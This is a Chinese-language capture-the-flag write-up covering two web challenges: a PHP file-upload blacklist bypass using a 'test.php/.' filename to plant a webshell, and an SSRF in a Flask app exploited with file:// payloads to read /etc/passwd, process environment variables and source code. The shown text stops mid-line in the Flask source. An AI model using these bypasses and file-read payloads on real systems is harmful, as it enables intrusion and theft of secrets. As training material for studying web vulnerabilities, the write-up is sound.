php签到
考点
文件上传,绕过
题目
<?php
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION); //获取文件后缀
foreach ($black_list as $value) {
if (stristr($ext, $value)){ //检查后缀
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}
题解
文件名为xxx.xxx/.
时,pathinfo
函数的PATHINFO_EXTENSION只能得到空。
这里使用了file_put_contents()和urlencode
当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。
用表单上传
用蚁剑连接成功但找不到flag
法一:
法二:
MyBox
考点
flask,file协议
题目
进去一开始是一片空白
题解
看到有个url参数
猜测这里存在SSRF漏洞。尝试伪协议读取/etc/passwd
,成功,存在SSRF。
/?url=file:///etc/passwd
一:读取环境变量/proc/1/environ
,获得flag。(非预期)
/?url=file:///proc/1/environ
二:读取start.sh
/?url=file:///start.sh
读取源码:/?url=file:///app/app.py
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)
@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
with open(url[7:], 'r') as f:
return f.read()
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode()